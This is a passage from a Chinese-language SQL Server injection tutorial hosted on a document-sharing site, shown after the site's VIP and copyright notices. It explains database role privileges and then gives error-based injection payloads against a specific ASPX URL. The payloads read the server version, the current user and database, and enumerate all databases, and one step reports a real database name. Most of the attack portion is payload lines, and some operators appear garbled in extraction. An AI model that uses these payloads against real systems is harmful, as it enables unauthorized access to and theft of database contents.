- 1、本文档共83页,可阅读全部内容。
- 2、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
- 3、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载。
- 4、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
- 5、该文档为VIP文档,如果想要下载,成为VIP会员后,下载免费。
- 6、成为VIP后,下载本文档将扣除1次下载权益。下载后,不支持退款、换文档。如有疑问请联系我们。
- 7、成为VIP后,您将拥有八大权益,权益包括:VIP文档下载权益、阅读免打扰、文档格式转换、高级专利检索、专属身份标志、高级客服、多端互通、版权登记。
- 8、VIP文档为合作方或网友上传,每下载1次, 网站将根据用户上传文档的质量评分、类型等,对文档贡献者给予高额补贴、流量扶持。如果你也想贡献VIP文档。上传文档
查看更多
Mssql注入总结1.0.0版本
Sql server数据库注入总结
对于mssql的一个注入点我们往往最关心的这个注入点的权限问题,是sa、db_owner还是public;其次是这个注点是否显错,注释语句是否可用,例如sql server中注释符“--”;还有就是注入点是什么类型的,是字符型注入,还是数字型注入。
第一章 数据库用户的权限问题
1.1 固定服务器角色
由于固定服务器是在服务器层次上定义的,因此他们位于从属于数据库服务器的数据库外面。这里我们只需知道固定服务器角色中有一个sysadmin的角色,该角色能够执行SQL Server上的任何操作。本质上,任何具有这种角色成员身份的人都是那个服务器上的sa。因此当我们在创建数据库登陆用户时,固定服务器角色一个都不要点,只需选择固定数据库角色中的public角色就行。
1.2 固定数据库角色
固定数据库角色是在数据库层上进行定义的,因此它们存在于属于数据库服务器的每个数据库中。其中对于注入来说,我们只需了解public角色和db_owner角色。
Public角色权限:
public角色是数据库中所有用户都保留的默认权限,一般情况下,public角色可以使用某些系统过程查看并显示master数据库中的信息,public是没有建表,插入,更新,备份等权限的,只有查询权限。
Db_owner权限:
db_owner指某个数据库的拥有者,它拥有了对数据库的修改、删除、新增数据表,执行大部分存储过程的权限。但是涉及到一些系统敏感操作的权限不具备,这也是它与SA权限的唯一区别。
有关详细的数据库角色问题请参照: HYPERLINK /alexprefect/articles/306924.html /alexprefect/articles/306924.html
HYPERLINK /view/dca6f91eb7360b4c2e3f6451.html /view/dca6f91eb7360b4c2e3f6451.html
第二章 mssql显错模式注入(字符型注入)
2.1 基本信息
2.1.1 判断存在注入
HYPERLINK /web/InfoKindList.aspx?kind=0103 /web/InfoKindList.aspx?kind=0103
根据加单引号的错误回显,发现是字符型,再通过 and 1=1 and 2=2进一步判断。可以想象sql语句可能是:select * from table where string=0103,这是一个完整的sql语句,可以构造语句:select * from table where string=0103 and 1=1 and 2=2,我们添加的语句是: and 1=1 and 2=2,正好可以使原先的0103左右两边的单引号闭合。其中在1=1的地方我们可以用1=1来代替,sql查询返回的结果是正常的,但是使用a=a返回错误,使用a=a返回正确,这里等号两边是数字应该是个特例。可以在and 1=1的地方构造需要的sql注入语句。
2.1.2 判断是否是mssql
/web/InfoKindList.aspx?kind=0103 and (select count(*) from sysobjects)1 and 1!3
Mssql每个数据库都存在表sysobject,因此如果是mssql数据库的话,查询语句返回的结果一定是大于1的,即select count(*) from sysobjects)1逻辑是正确的,页面返回正常。
2.1.3 mssql版本
/web/InfoKindList.aspx?kind=0103 and 1=(select @@version) and 1!3
其中and 1!3是永远成立的条件,语义是字符串1不等于字符串3,这里我们可以构造其他任意成立的条件,例如1=1、2=2、a=a等等。
2.1.4 当前用户
/web/InfoKindList.aspx?kind=0103 and 1=(select user) and 1!3
2.1.5 当前数据库
/web/InfoKindList.aspx?kind=0103 and 1=(select db_name()) and 1!3
当前库为Gwork_ahnd
2.1.6 爆出所有数据库
/web/InfoKindList.aspx?kind=0103 and 1=(select name from master.dbo.sysdatabases where dbid=1) and 1!3
通过改变dbid的值,如1、2、3等等,所有数据库都可以爆出来。
2.1.7 判断用户权限
判断服务器角色:
/web/
文档评论(0)